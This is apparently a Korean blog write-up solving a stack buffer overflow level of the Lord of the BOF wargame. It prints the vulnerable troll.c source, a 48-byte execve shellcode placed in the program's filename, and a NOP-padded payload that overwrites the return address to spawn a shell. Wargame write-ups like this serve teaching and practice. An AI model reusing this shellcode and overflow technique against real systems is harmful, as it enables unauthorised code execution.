Pwnable/LOB

[LOB] orge 문제 풀이!!!!

RootJJang 2022. 5. 15. 16:42
SMALL

स्रोत कोड की जाँच करें!!

 

[orge@localhost orge]$ cat troll.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

argv[0]의 길이가 77이 돼야 한다는 조건이 빠지고 //here is changed와 //one more!이 추가됐네요

 

인자가 꼭 두 개여야 하고 argv[1]가 초기화되네요..

 

그렇다면 argv[0] 즉, 파일명 자체를 쉘코드로 해주고 RET을 argv[0]으로 하면 쉘이 실행되겠네요

 

일단 쉘코드를 이름으로 하는 파일을 만들어 봅시당

 

파일을 만들 때 중요한 점이 있는데 쉘코드에 \x2f인 부분이 있으면 \x2f가 /로 읽혀 제대로 파일 생성이 안 됩니다

 

그래서 \x2f가 없는 쉘코드를 찾아 파일명으로 설정해주겠습니다

 

48 Bytes Shell Code

    \x2f가 없는 쉘코드

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

이걸 사용하겠습니다

 

이제 한 번 분석해보죠

 

이제 argv[0]의 주소를 찾으러 가봅시다!

 

 

아래 \xbf가 보이고 위에 \x90가 있는 걸 보니 저기가 argv[0]의 주소네요

 

대충 주소를 0xbffffb54를 해줍시다

 

이제 페이로드를 짜봅시다

 

Payload = ./* $(python -c 'print "\x90"*44 + "\x54\xfb\xff\xbf"') // 이때 *는 파일 모두를 뜻하는 말로, tmp 디렉터리에 제가 직접 만든 파일밖에 없기 때문에 *로 표현했고 이유는 귀찮아서입니다

 

야레야레 또 core dumped가 일어났군요

 

core를 뜯어봅시다

 

RET을 0xbffffac0으로 해주겠습니다

 

다행히 쉘이 실행되네용

 

이제 링크하는 파일을 trollcp가 아닌 troll로 해준 후 다시 실행해보겠습니다

 

무야홓

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] vampire 문제 풀이!!  (0) 2022.05.19
[LOB] troll 문제 풀이!  (0) 2022.05.16
[LOB] darkelf 문제 풀이!!!!!  (0) 2022.05.13
[LOB] wolfman 문제 풀이!!!!  (0) 2022.05.13
[LOB] orc 문제 풀이!!!!  (0) 2022.05.13